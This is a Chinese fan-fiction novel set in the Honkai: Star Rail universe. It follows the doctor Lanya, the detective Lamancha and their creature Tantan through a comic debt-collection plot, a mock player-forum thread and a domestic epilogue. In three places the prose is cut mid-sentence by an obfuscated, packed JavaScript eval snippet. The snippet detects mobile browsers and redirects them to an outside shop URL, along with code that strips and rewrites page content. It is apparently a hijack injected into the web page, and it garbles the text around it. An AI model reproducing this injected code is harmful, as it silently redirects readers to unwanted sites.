拉曼查走到哪里,它就跟到哪里。圆滚滚的身子跑起来一摇一摆,四条小短腿在地板上踩出一串细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527529|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎的啪嗒声。他坐着整理异常防御部给的文件,它就团成一个小黑毛球窝在他腿上,短短的尾巴尖搭在自己的鼻子上。 渐渐的,拉曼查发现了贪贪身上一个让他无比惊奇的能力。 在一桩案件中,涉及到一个孩子。孩子总会因为恐惧等等负面情绪做着各种各样的噩梦,这个孩子也是,案发后作为受害者产生了严重的PTSD,在睡梦中哭泣、颤抖。 贪贪一摇一摆地主动凑过去,爬到孩子床边,轻轻蹭着孩子垂在床边的小手。然后它张开嘴,把孩子梦里的黑暗、恐惧、痛苦这些负面情绪尽数吞入腹中。吞完之后,它从嘴里吐出一个五彩斑斓、晶莹剔透的梦泡。 梦泡轻飘飘地落下来,落在孩子枕边轻轻炸开,散发出一小片温暖柔和的光。光笼罩住孩子的脸,孩子瞬间便安稳下来,眉头舒展,嘴角扬起甜甜的笑意,陷入了美好的梦境之中。 朽叶也颇为惊奇,回忆起了兰涯对自己说的话。 杀戮之上最伟大的力量,就是选择善的力量。不在于善,而在于选择。有作恶的能力却主动选择了善,才是最可贵的。 贪贪不是生来就善良的,它是贪饕,是吞噬万物的奥博洛斯,但它选择了一条不一样的路。没有人逼迫它做出选择,它只是自己选择不再被命运裹挟。 闲来无事,拉曼查会专注地观察这个毛茸茸的小黑煤球,开始发表推理:“你是吃准了你妈妈喜欢毛茸茸,才长成这样的吗?” 贪贪不知道是听懂了还是没听懂,眨巴着圆溜溜的眼睛,奶声奶气地汪了一声。 拉曼查显然不会翻译狗语,不,古兽语,但是他默认贪贪承认了,不然无法在奥博洛斯那个看起来黏糊糊滑溜溜的模样和眼前这个小毛球之间建立起完整的逻辑链。 不知不觉间,贪贪在拉曼查身边待得越来越久。 兰涯外出归来,便会把贪贪接走,陪着它玩耍;兰涯再次外出,贪贪便会来到拉曼查身边,粘着他,陪着他。 一来二去,贪贪待在兰涯和拉曼查身边的时间几乎各占一半。 巡海游侠们看着这一幕,都忍不住打趣。 波提欧靠在门框上吹了声口哨,联觉信标都没能把他语气里的调侃过滤掉:“老大,我看你和兰医师这分明就是一起在养孩子啊!贪贪就是你们俩的小崽子!” 乱破双手抱拳,用非常严肃的忍侠谏言语气补充道:“此乃忍道,不,实乃养育之道的至高典范。” “就是就是,贪贪跟着兰医师,又跟着你,不是养孩子是什么!” 听着游侠们的调侃,拉曼查耳尖微微泛红。 他有些无奈地扶额,把帽檐往下压了压,试图挡住自己脸上的表情。 然后他低头看着怀里正仰着圆脸蹭他胸口的贪贪,紫灰色的眼睛里无奈和柔软搅在一起,哭笑不得地反驳: “别胡说八道,什么养孩子,谁家养孩子养的是这个啊?” 贪贪从他怀里探出头来,冲着游侠们叫了一声,依旧是奶声奶气的、调子哪里不太对的: “汪汪!” 乱破双手合十,非常虔诚地回应:“所言极是,贪贪阁下。” 拉曼查把脸埋进了手掌里。 62.后日谈(二) 兰涯给无名客们发了一个委托。 “我有一个委托,讨债。事成之后五五分成。” 星和穹同时从椅子上弹了起来。 两个毛茸茸的灰脑袋一左一右凑到兰涯面前,眼睛亮得像两对刚充好电的荧光棒。 一个问“兰妈妈想喝什么茶我去泡”,一个不知道从哪里掏出一个绣着梦貘的小垫子放在贪贪屁股底下。 贪贪正趴在兰涯膝盖上打盹,被垫子一托,迷迷糊糊地汪了一声,又睡过去了。 丹恒靠在门边,双臂抱在胸前,看着这一幕,嘴角的弧度维持在“这个时候只要微笑就好”的标准角度。 三月七嘴角抽了一下,转向丹恒,用眼神疯狂暗示:你说说他俩啊。 丹恒用眼神回复:没用。然后他放弃了眼神交流,直接开口:“你们俩也不问问讨债对象是谁?” 星和穹同时回头,表情出奇一致:下巴微扬,眉头微皱,嘴唇抿成一条义无反顾的横线。 “兰妈妈不会坑我的!”像是排练过的双重奏,完全同步。 三月七的嘴角又抽了一下。 兰涯端起茶杯,吹了吹杯口的热气,抿了一口茶。 她思考了一下,这个委托的确不是坑人,至少不完全是,于是她把茶杯放回碟子上,说:“讨债对象应该也欠了列车不少钱,你们可以一起讨回来。” “难道说?”星灵光一闪。 穹接话的速度快到像是早就等着这一刻:“是阿哈?” 没错,就是阿哈。 兰涯点了点头。 “准确说,是虚照和阿哈两个。阿哈委托我看病,虚照给了我五十信用点作为定金。我收的诊金是十八亿,现在还欠我十七亿九千九百九十九万九千九百五十信用点,你们可以找公司折算成星琼。” 车厢里安静了大约两秒。 星和穹的大脑飞速加载中。 他们在算十八亿的一半是多少。 九亿。 减去定金,定金是兰妈妈收的,不算在分成里。 所以兰妈妈说事成之后五五分成,也就是他们可以分到八亿九千九百九十九万九千九百七十五信用点。 将近九亿,是可以在庇尔波因特轨道飞船上买琥珀王荣光一日游半价优惠门票的信用点。 公司旅游部门发了公告:飞船轨道因不明原因损毁,目前琥珀王荣光一日游只能飞行以往一半的路程,绝赞半价优惠中。 关键是,还可以找公司折算成星琼! 星的眼睛直了。穹的嘴巴微微张开。 两只小浣熊的瞳孔里同时出现了星琼的符号在旋转。 两只小浣熊的脸上带着一种如梦似幻的微笑。 三月七露出死鱼眼:“喂喂,你们俩醒醒,擦擦口水。” 星摇摇头。穹也摇摇头。他们是清醒了,但并没有完全清醒。 星从椅子上探出半个身子,双手撑在桌面上,眼睛亮得能把车厢灯光比下去:“兰妈妈!还有哪些人欠你钱?我们可以一并讨回!” 穹拍了拍胸脯,力度之大让他的外套下摆都跟着抖了一下:“没错!上到星神,中到公司,下到狸猫,我们统统都能讨回来!” 兰涯端着茶杯,看着这俩孩子,一时间不知道该感动还是该无奈,被他俩带着自己也开始思考欠款名单。 拉曼查欠的三百二十四亿,呃,算他还了吧,作为薛定谔的欠款,放着。 公司的账倒是结得很痛快,准确来说,是战略投资部钻石主动转进来的。数字之大,足够再给琥珀王做几十次腹腔镜手术,当然琥珀王本尊肯定十动然拒。还附赠了一大堆有的没的,比如“特别合作备忘录”“公司联名卡琥珀级VIP”“庇尔波因特永久贵宾通行授权”…… 贪饕一战后,市场开拓部陷入公司内斗打压困局,连带着技术研发部也被拉下水。 钻石显然是在向兰涯示好,连带着巡海游侠也被公司放在了微妙的天平上。 公司多年来一直通缉巡海游侠,视他们为眼中钉、肉中刺。 可如今面对传言中与医师关系匪浅的巡海游侠群体,特别是想到寰宇流言中和医师关系微妙的领猎人,公司只能装作视而不见,像极了努力无视房间里大象的人,不敢招惹,也不愿承认,只能一味地回避。 仙舟罗浮却截然不同,新生代高层对拉曼查无比敬重。 景元在战后第一时间以个人名义给拉曼查发了一封长信,措辞恳切,邀请他和巡海游侠与仙舟建立更深入的合作。 他还特意为拉曼查在罗浮准备了一处安静的小院,最高规格的礼遇,最克制的尊重。 拉曼查本人因为不想卷入仙舟复杂的政治博弈,之前一直保持距离。 如今,他看到了那些孩子眼底的赤忱与敬重,特别当下还有巡猎在虚数之树打破宇宙边界后何去何从的问题,最终还是接受了这份邀请。 只是他依旧习惯了自由与闲适。仙舟的住所他只有在需要前往罗浮商谈事务时才会短暂停留。大部分时间他还是在那间小得转不过身的侦探事务所里,抱着贪贪打瞌睡。 兰涯把发散的思维拉回来。 两只小浣熊还趴在桌上眼巴巴地看着她。 她伸出手,落在两个毛茸茸的灰脑袋上,轻轻揉了揉。 星的头发比穹软一点,穹的头发比星更翘一点,被她揉完之后两个脑袋上的毛都翘成了同款:“先帮我把诊金讨回来吧。” “好的,妈妈!” “没问题,妈妈!” 天马行空的无名客们开始行动。 星和穹把自己关房间里密谋了整整一个晚上。 丹恒假装是幻觉,闭眼不看,回智库更新去了。 三月七把耳朵贴在门上偷听,只听到里面断断续续传出来一些可疑的关键词,比如“全宇宙直播”“悲悼剧团”“星际和平公司讨债部外聘专员”“花火火花你们听我们说这次真的是正经事”。 星期日被拉进去当参谋,匹诺康尼在逃主公出来的时候,脸上的表情非常神奇,有一种“我是谁我在哪儿我为什么要参与这件事”的恍惚,还有一种“其实还挺好玩的”欢愉。 第二天一早,一封措辞极其正式、排版极其精美、落款极其嚣张的电子信函被发往了已知的所有通讯频段。 信函的标题是:《关于阿哈先生拖欠诊金事宜的最终催缴通知暨无名客讨债服务启动公告》。 信函中明确列出了债务明细:诊金总额十八亿信用点,已付定金五十信用点,欠款余额十七亿九千九百九十九万九千九百五十信用点。 附注:本公告已同步抄送星际和平公司信用管理部、悲悼剧团财务处、匹诺康尼家族资产管理中心及寰宇讨债联合会(筹)。 落款:银河球棒侠&银河炎枪侠&银河礼帽侠&银河羽毛笔侠&银河双剑侠,星穹列车讨债事业部(临时组建,尚未注册)。 阿哈没有回复。 于是星和穹启动了第二阶段:舆论施压。 他们在电视台租了一个广告位,循环播放一条三十秒的讨债短片。 短片里星和穹穿着专门定制的黑西装,戴着墨镜,站在一个临时搭出来的讨债办公室布景前面。 星双手叉腰,穹双手抱胸,两人同时用非常严肃的语气念出早已背好的台词:“阿哈先生,您的欠款已经逾期。请尽快联系您的债主,或者联系我们星穹列车讨债事业部。我们提供上门催收、跨星系转账、以物抵债等多种还款方式。现在联系屏幕下方的通讯码,还可享受九八折优惠。” 屏幕下方滚动的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她看着光团扑过来,嘴角扬起,伸出手,抱住这个温热的光团,像是抱住了一团被捂了很久的棉花糖。 “恢复得不错。”兰涯说,“还疼吗?” 光团在她掌心里蹭了蹭,不说话了,只是闪着很细小的七彩光点,像一场迷你的彩虹雨。 兰涯没有要那十八亿诊金。 她从一开始就不是真的想要那笔钱。 欢愉给了她很多帮助,欠她的也不是信用点,是阿哈在术后把自己藏起来,不敢让她看到祂现在真实的样子。 她只是想见祂一面,确认一下,有没有留下什么后遗症。 现在祂在她怀里蹭着,一切都好。 舞台的灯光重新亮了起来。 星穹列车讨债事业部的两位临时员工站在台前,一本正经地清了清嗓子。 “经我方与各方友好协商,兹确认以下还款方案。一、悲悼剧场新剧首演收入,用于抵扣部分欠款。二、虚照女士承诺的星穹铁道ONLY周边产品销售,纳入还款计划。三、贝洛伯格、仙舟罗浮、匹诺康尼以及翁法罗斯的自愿代偿,共计六十六信用点,折算入还款金额。” 阿哈的光团卷住虚照的手腕,把她也拉上了台。 虚照推了推眼镜,声音从剧场音响系统里传出来,带着一丝被临时拉上台的无奈:“那个,感谢诸位莅临悲悼剧场。今天我们新剧首演。” 幕布再次拉开。 聚光灯打在舞台中央。 蓝发的男人彬彬有礼地致意,用念诗一样的语调,庄重地说: “下面请欣赏,悲悼剧场·特别场:《辣卤客,我来为你带来烩面了!》” 63.间章??玩家论坛体(三) 【喜大普奔】绝境医师终于落地了!!! 楼主: 家人们!!!她来了!!!她终于进卡池了!!! 兰涯,虚数属性,命途——等等,命途那一栏写的是??? [天外通信:角色立绘截图,命途栏显示“终末/开拓”双图标并列] 双命途!!!进战斗后根据大招选择切换!!!策划真的敢做!!! 我先氪为敬。这层楼留给你们尖叫。 --- 2L: 终于落地了!! 我可以瞑目了!!! 3L: 啊啊啊啊啊啊啊啊啊啊啊啊—— 我刚才抱着手机在地上滚了三圈。 实机建模那身黑蓝银渐变的衣服在不同光线下会变色!老米你把经费都用在这里了是吧?!用得好! 4L: 等了整整两年!从匹诺康尼等到现在! 抽爆!必须抽爆!6+5拉满!谁拦我我跟谁急! 5L: > 4L:你冷静一下,先V我50看看实力。 不过说实话,实机演示里开大的动画我反复看了十遍。 双针悬浮,金银两色光芒交替闪烁,背景里的虚数之树。 太美了。 6L: 前排认亲!!! 兰妈妈!!!我是你失散多年的好大儿!!! 从流梦礁剧情开始我就知道她一定会落地! 抽!必须抽到手!我要带兰妈妈打遍所有周本!让她看看她的好大儿有多能打! 7L: 楼上你冷静一下,兰妈妈的好大儿已经有我了,你还是排队吧。 不过我很好奇,终末/开拓命途的突破材料是啥?不会是虚数之树的叶子吧(不。) 8L: > 7L:新材料一个是“锚定之种”,还有一个是“未来的花”。 顺便说一句,贴个图,这个“未来的花”有没有觉得很眼熟? 9L: > 8L:白色和浅紫色的小花。 我不行了,我眼眶就红了。 白珩你看到了吗?你的兰妈妈现在是我的了。 10L: > 9L:醒醒,是我妈。 11L: 妈党收收眼泪,让我CP党来发个疯。 兰涯X黄泉! 双刀合璧! 从匹诺康尼黄泉教兰涯用刀开始,我就隐隐觉得这段教学绝不是单纯的发糖。 我当时就想,这个伏笔后面一定会回收。但我没想到回收的方式这么炸裂。 贪饕之战,兰涯在飞船上,黄泉在第Ⅸ机关,两个人隔着不知道多少光年的距离,同时挥刀。 黄泉:“我为逝者哀哭——”兰涯:“——暮雨,终将落下。” 两把刀,同一招刀法,两道刀光在不同的星域同时亮起。 一刀劈开第Ⅸ机关,一刀劈开琥珀王的亚空晶壁。 啊,我磕到了。 12L: > 11L:给你补充一个细节。 匹诺康尼教学那段,黄泉开玩笑说了一句“也许你能劈开琥珀王的墙?” 当时大家都以为她只是在随便举个夸张的例子。 结果兰涯真的劈开了,用的还是黄泉送的那把伞里刀。 老米的女同事果然是不得不品的一环。 13L: 好好好,妈党和黄泉CP党各占半壁江山,那刷了漫天流星雨的侦探,不,我们老大不配拥有姓名吗?! 十万一千两百零一个游侠亡魂,我眼泪都流下来了,不要忘记游侠梦啊诸君! 14L: > 13L:别提了,前面剧情里爷就被狗粮暴击伤害了,不愧是你,遗器需要堆暴击的男人。 报社那段,爷开开心心举着奶茶冲进去的时候,我在屏幕面前已经是“对不起打扰了我不该当电灯泡”。 15L: > 14L:那段剧情分镜太让爷容易代入了。 想想,爷举着奶茶袋大喊“兰妈妈我给你人肉外卖送到了芒果思慕雪”,然后看到了呃,也不算少儿不宜的一幕。 爷在那个瞬间完成了从兴高采烈到瞳孔地震再到正在加载中的全过程。 这个价值1.8元的加载中头饰太值了。 爷的内心活动大概是:这是我妈→这是我妈和一个男人→这个男人我见过一次→他为什么抱着我妈→我应该叫爸吗→等等这人到底是谁→救命! 16L: >15L:算了,我就承认一夫一妻吧,兰涯同时拥有泉姐和太爷爷。 一个把她拉进人间,一个是她人性的锚点。 17L: >16L:自动升成了太爷爷我笑死! 当然这里也很搞笑。 侦探惊恐:“你都有女儿/儿子了?那她父亲是谁啊?” 爷:“当然是阿基维利了!” 侦探:“明明是我先来的……” ↑什么白学现场??? “脑子被冰箱门夹了”是最精准的评价,没有之一。 18L: >17L:过完剧情回过来看,就发现不对劲了。 白学现场后面,不死途还加了一句“不对,这么算起来,到底是谁先来的?” 说明他早就知道兰涯的底细了,还开始算自己和阿基维利的先后时间。 默认自己排不上号,太卑微了老大。 19L: 本虚构史学家要构史了! 爷管兰涯叫妈妈,兰涯以前见过的阿基维利是阿哈假扮的。所以严格来说爷的“父亲”是阿哈公主(?)。 然后侦探惊恐地发现自己成了阿哈公主的“小三”。 20L: >19L:这下人多得都要站不下了,太爷爷、泉姐、阿基维利、阿哈,还有她的白月光白焰、白珩、仙舟的姑娘们…… 21L:楼主 停停停,你们再嗑下去我这楼要变情感板块了。虽然我也嗑(小声)。 说回正题。有没有大佬分析一下兰涯的强度? 我看了一圈内鬼消息,说是虚数辅助天花板? 22L: >21L:来了。我先放一个暴论在这里:兰涯是当前版本辅助天花板,没有之一。 虚数属性,双命途机制,进战斗后根据选择切换终末或开拓模式。 先说【大招机制】。兰涯的大招分为两个选项: 左侧终末:这就是传说中的另类拉条机制!选这个,兰涯会对敌方全体施加倒计时「终末的锚点」——强行回溯敌人当前回合,降低敌方速度,让我方全体充能立即行动并提高速度,且这一轮不计入轮次! 这意味着什么?在高难计时玩法里,选左边等于白送你一整个轮次!货币战争里杨叔+花火的PRO PLUS MAX版本!对于那些压线满星的玩家来说,这就是无脑逃课。 而且这根本不是普通的拉条。在新更新的异相仲裁中,BOSS的血条厚得离谱,常规01、11主C根本打不完。但是!有了兰涯的“左技能”,你就可以无限推迟BOSS的回合,刷满输出,直接把高难玩成割草! 右侧开拓:如果说左边是凹分和逃课党的最爱,右边就是自动党和懒人的福音。选右边,兰涯会为我方全体施加「开拓的信念」。这个BUFF包括:高额攻击力加成(基于兰涯的攻击力,是保底机制)、暴击率&暴击伤害提升、基于攻击力上限的全队回血、充能全满、净化所有负面状态。 根据测试服实测,右边的加攻数值极其慷慨,完美适配黄泉这种高爆发的主C。 23L: > 22L:黄泉队带兰涯选右边,叠层速度直接起飞。黄泉本身不缺伤害,缺的是快速叠层和稳定站场。兰涯入队,黄泉每轮都能稳定出手,而且不用担心被控。 这俩女同事在剧情里并肩作战,在游戏里也绑定了是吧?策划你故意的? 24L: 然后是【星魂和光锥】。 抽卡建议:建议0+1完全体! 光锥:专武「树海交汇之时」有极高的白值,特效有高额易伤,最关键的是回能。兰涯的大招循环至关重要,专武能让你稳定两动一大。而且这是当前版本第一张适用终末/开拓双命途的光锥,极其保值。 星魂:0魂核心机制完整,拥有完全体的大招左右抉择能力。1魂选择左技能时全队无视防御,选择右技能时全队速度提升,直接把两种模式的上限都拉高了一截。2魂我方角色造成伤害时,若目标处于“倒计时”状态,伤害提高,简单粗暴。4魂和6魂是数值上的爆炸,前者加战技等级和全队抗性,后者直接解锁双大招,释放终结技时可以同时获得左右两种的效果。 抽取结论:抽0+1即可享受完整的辅助能力。如果你有预算,抽到1魂甚至2魂是质的飞跃。 目前属于T0保值级,因为只要游戏还需要攻坚,她的“左技能”就永远是逃课的资本。老米,我愿称之为当前版本最后的仁慈。 25L: 0+1完全体,1魂2魂质变。 不枉我攒星琼从4.0攒到现在。 26L: > 25L:屯屯鼠闪现! 27L: 配队方面呢?兰涯进什么队比较好? 28L: > 27L:配队自由度极高。左形态适合任何需要压缩轮次的队伍,比如举世闻名的异相仲裁T0队。右形态适合需要稳定站场和高频出手的队伍,比如黄泉队、景元队。 29L: 景元又站起来了! 我家将军终于有新队友了! 30L: 战斗成就系统里兰涯相关的隐藏成就,已经有人测试服里扒出来几个: 《我和我的妈妈》:队伍中包含开拓者与兰涯,完成一场战斗并获得胜利。成就描述:叫妈妈。 《慈母手中线》:在单场战斗中触发兰涯大招超过三次。 《虚数儿童欢乐多》:兰涯与巡猎三月七、乱破、银狼LV999任意一人组队完成一场战斗。 31L: 战斗语音也出了一些!我整理了一部分,大家感受一下: 【战斗开始·弱点击破】 “我在。” 【战技】 “你的终点不在这里。” “现在,去见你的开始。” 【终结技·左侧激活:终末的锚点】 “你们的回合,到此为止。” “我见证过无数终点。” 【终结技·右侧激活:开拓的信念】 “从这里开始,继续前行。” “比任何结局都更远。” 32L: > 31L:终结技的语音好品。 左边终末:“你们的回合,到此为止。”“我见证过无数终点。”语气里可以窥得一点高位格的淡漠。 右边开拓:“从这里开始,继续前行。”“比任何结局都更远。”语气温暖,是她对队友说的话。 同一个人,左边是神明,右边是人类。这种用语音细节表现角色多面性的手法,老米功力还是在线的。 33L: 货币战争里也会有更新,据传是5费卡。 有趣的是羁绊,首先是独立羁绊:虚数之树。就这么简单直接! 接着搞笑的来了,大家之前一直猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533622|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 测的巡海游侠羁绊,有一个投资策略文本是: 激活5【巡海游侠】时,其中4位巡海游侠会发生一次组内投票表决,投票结果3:1,之后你获得一个带着【贪贪】的5星【兰涯】,【贪贪】会在每个节点帮你从敌方那里吃点装备和金币回来。 那个1票反对是谁呢?好难猜啊~ 顺便一提,在货币战争队伍里同时包含兰涯、贪贪、不死途一同出战的情况下,会获得一个成就:《你们三个把日子过好比什么都强》 34L: > 33L:《我希望你永远都不要成为巡海游侠》好难猜啊~~ 不过,贪贪大人!帮我吃装备和金币回来的贪贪大人! 我将立刻退坑佩佩,转投贪贪大人! 35L: > 33L:哦,贪贪,我的贪贪~! 赞达尔第一天才的含金量还在追我,浪漫古士诚不欺我,宇宙就是一个巨大的翁法罗斯。 36L: 翁法罗斯的黄金裔是权杖的运算单元,虚数之树的兰涯是宇宙运行的主板。 翁法罗斯被预设了毁灭的结局,宇宙的发展被框死在范围之内。 兰涯打破虚数之树的边界,等于把宇宙从玻璃瓶里解放了出来。 这和我们在翁法罗斯做的事情本质上是同一件事。 37L: > 36L:打破边界后,她自己化成了光点散落在宇宙各地,那些光点就是“可能性”本身。每一个存在都收到了一点虚数之树的力量,意思就是“你现在有能力走出自己的路了,走还是不走,看你自己的选择”。 列神之战从神的战争,变成了由人的意志决定。 最后又回到卡妈对爷说的:当你有机会做出选择的时候,不要让自己后悔。 翁法罗斯在4.0大版本的后日谈里借此契机完成新生了,爷和大家共在同一片星空下了,呜呜呜 38L: 树海这段过剧情的时候,一开始真的有点掉SAN值. 那么多骸骨,那么多突然亮起的眼睛,还有密密麻麻伸出来的手,比黄泉、铁尔南超度血罪灵那段里伸向天空的手还要掉SAN。 但我还是想哭,不知道为什么。 39L: > 38L:我前面在哭,好不容易平复心情了,结果莫比乌斯环上那段,我从她送末王重新踏上开拓之路又开始哭。 然后剧情到给过去的自己送针,我完全不行了。 原来拯救自己的,一直都是自己。 顺便一提,游戏里如果你选的是星,那段就是穹,如果你选的是穹,那段就是星。 过剧情的时候千万别再乱带头饰造成3.7惨案了,也不要带说怪话!更不要带狸猫记者团! 不然就会出现,兰涯走在莫比乌斯环上时,下面说怪话来一句“真拼呢~”还有狸猫记者团跟着拍照! 40L: >39L:笑死了,每次玩家过主线不得不品的一环。 还有那把盖乌斯之矛,老米还是忘不了他心爱的EVA。 话说回来,这段剧情明显神装有建模啊,为什么不出神装皮肤! 41L: >40L:做了不卖,罪大恶极! 42L: 提到盖乌斯之矛我就开始做梦了,这次出的是辅助定位,后面能不能梦个SP,主C的那种。 43L: >42L:与其梦SP,还不如梦贪贪入池,毕竟专票的文本是「有许久不见的朋友吗?搭上列车和他/她/它/祂一同游历吧!」 之前他/她都有了,现在祂也有了,就差个它了。 44L: >43L:理论上来说兰涯当前状态不属于“祂”,而是“她”,她花了那么久成为人类,恐怕不太喜欢别人用“祂”来代指人类的自己。 45L: >44L:你说这个我就又想哭了。 莫比乌斯环外的接力,最让我绷不住的是白焰和白珩。 我从没见过兰妈妈哭,这次她的眼泪在眼眶里聚集,我的眼泪也在眼眶里聚集。 还有所有在她成为人类的过程中被她因缘相会,又被时间带走的生命。 那些被她救过的人没有忘记她,他们站在莫比乌斯环的外面等了很久,等她终于走到这里打算沿着莫比乌斯环往回走的时候,对她招手:这次,轮到我们为你带路了。 46L: 匹诺康尼的时候,我还和我亲友调侃说巡海游侠们最严厉的母亲。 47L: >46L:现在呢?她是星神们最严厉的母亲。 末王叫她妈妈,爷算阿基维利,也叫她妈妈。贪贪是她亲手赐予新生的。阿哈的头是她接回去的。琥珀王的腹腔镜手术是她做的。博识尊被她骂过“神经元都是废物”。 48L: >47L:“星神们最严厉的母亲”笑死我了,这个title我要截图保存,以后和“阿哈最严厉的母亲”虚照放在一起。 想象一下兰涯站在虚数之树的顶端,手里拿着护理日志,面前是一排星神,她一个一个点名:阿基维利,不准熬夜打游戏。阿哈,头接好了能转脖子吗?克里珀,腹腔镜的伤口不要沾水。奥博洛斯,变成贪贪之后不要乱吃东西。博识尊,你被搞关机了?该。 49L: 看了一圈,还是及时变成毛茸茸卖萌躲过一劫的贪贪全场最佳。 旁白:它是贪饕。 兰妈妈:它是小狗。 侦探先生:对,它就是小狗! 旁白:你说它是头猪我也认了。 50L > 49L:谁是猪?恶语伤狗(?)心。 ---END--- 64.番外一·休息 贪饕之战后,绝境医师在寰宇间再次销声匿迹。 一开始只是发现她不接私人出诊了,后来发现连战场上也见不到她的身影了。 有人去问乱破,乱破说忍侠不便透露,问波提欧,波提欧说他宝贝的多问我就爱死你,最后硬着头皮去问领猎人,他说医师在休息。 这一次,她真的停下来了。 贪饕之战中,她把虚数之树的力量全部释放,打破边界之后,所有命途的底层逻辑都在那一瞬间被她重新校准过。 这份力量已经远远超出了「锚定器」的范畴,她现在本身就是量子之海上那棵独木成林的巨树的意识投影。 出手一旦控制不好力度,就像是药师无差别倾泻出去的赐福一样,直接让宇宙彻底终结。 于是在能精准控制之前,她选择了最笨也最有用的办法,不使用力量。 哈托彼亚再往外跃迁,有一片叫灰烬星带的边境区域。这里曾经是某场远古战争的遗址,如今只剩下几个零星的人类居住点和一座半废弃的诊所。 诊所里只有一个老医生和一个护士,老医生耳朵不太好,戴着助听器还要病人凑近了大声说话。护士是个刚从护校毕业的年轻本地姑娘,对家乡还是一腔热血,只是扎针的时候手还在抖。 老医生看了看她的执业证,这是她借真珠的关系在哈托彼亚重新考的正经证件,只写了一个名字,一张照片,和几个基础科室的执业资格,然后友善提醒:“我们这里比较艰苦,工资一个月只有一万信用点。” 一万信用点,如果换算成丹恒爱喝的苏打豆汁儿,大概能买五瓶半。 兰涯接受了。 老医生点了点头说正好,最近发烧的孩子多,你来搭把手。 诊所里的人渐渐习惯了这位沉静温柔但挂盐水下针特别快准狠的医生。 护士姑娘有一次偷偷跟老医生说,新来的医生长得好好看,比星际和平娱乐的偶像还好看。老医生说你好好跟人家学扎针技术才是真的。 于是她开始每天从海原市跃迁上下班。 兰涯没有定居的概念,她周游宇宙各处,游侠基地之后,希恩星岛算是她待得最久的地方,但那也是因为岛上有需要长期护理的退化的战友们,不是因为她觉得那里是家。 海原市的公寓其实是姬子半送半卖的。 无量塔家族在哈托彼亚的家产虽然少了,但也不是没有,用姬子的话来说:“海原市我有套公寓,空了很久了。房子没人住会坏,你帮我去住一下。”没等兰涯开口,她端起咖啡杯补充,“列车友情价,物业费你自己出。” 公寓在海原市近郊一栋不算新但很干净的楼里。顶楼,有电梯,两室一厅,窗户朝南,下午的阳光会从客厅一直铺到开放式厨房的灶台上。主卧的衣柜是空的,次卧被姬子改成了书房,书架上还留着几本关于列车研究的旧笔记。厨房灶台擦得很干净,冰箱里只放了一包没拆封的还不知道能不能吃的咖啡豆。阳台外面能看到种满樱花树的海滨步道。 兰涯搬进去的第一周,只添了一张床、一套被褥和贪贪的窝。贪贪的窝放在阳台边上,它每天下午趴在那里晒太阳,小短尾巴在地板上扫来扫去。 拉曼查来看过一次,带了乔迁礼,一整套茶具和一个电热水壶。他很认真地帮她把茶具拆开洗好,把水壶插上电试了一遍,然后在她家吃了一顿外卖,坐末班电车回鸽川区了。 之后他每次来看她都是当天来回,偶尔晚了就睡沙发。沙发是姬子留下的旧沙发,贪贪很喜欢窝在上面。 转折发生在一个月后的傍晚,拉曼查送贪贪回来,贪贪那周在鸽川区陪他查案,兰涯在灰烬星带处理呼吸道传染病,整整一周没空回来带贪贪。 他本打算把贪贪放下就回去,但此时天色忽然暗得像贪饕的影子,黑灰色的云层从海的那一边迅速压过来,雨几乎是瞬间倒下来的,风把阳台上贪贪的窝吹得翻了个面。 贪贪毫不犹豫地跑进客厅趴在沙发旁边,那个位置是拉曼查每次留宿时睡沙发的位置,它大概以为他今天又要在这里睡,提前占好了窝。 兰涯从厨房里端了两杯刚泡好的茶出来,把其中一杯放在茶几上,推向他。 贪贪在两人之间来回跑了三趟,终于确定他不会马上走,才放心地把自己卷成一个小黑煤球睡了过去。 拉曼查喝了一口茶,把杯子放回茶几。外面雨势完全没有停的意思,鸽川区方向的电车已经停了,暴雨红色警告消息从手机上弹出来。 兰涯把茶杯放下:“今晚就住这吧。” 那天晚上他终于没有睡沙发,从那天起沙发就彻底归了贪贪。 隔日雨过天晴,阳光格外明亮,他绝口不提回去的事。 再然后,他从书房搬到了主卧。 不管怎样,两个人终于真正地住在了一起。同居生活比他们各自想象的都更安静、也更规律。兰涯早上通常比他醒得晚,因为她通勤不需要挤电车,直接跃迁就行,可以坐在阳台上喝他用摩卡壶萃压的咖啡。他则比她早起一点,用这段时间做早餐,动作很轻,轻到贪贪可以全程不醒,更不会吵到她。 然后他发现了长期以来一直没发现的一个问题,这个人不吃饭。准确来说,她不会做饭,平时和别人在一起,别人会带着她一起吃饭,或者她会隐藏在人群中随大流,把自己伪装得很像个正常人,就像那天在拉面店听朽叶聊美食一样。 可只要是一个人独处的情况下,她能犯懒到连外卖都不会想起点。 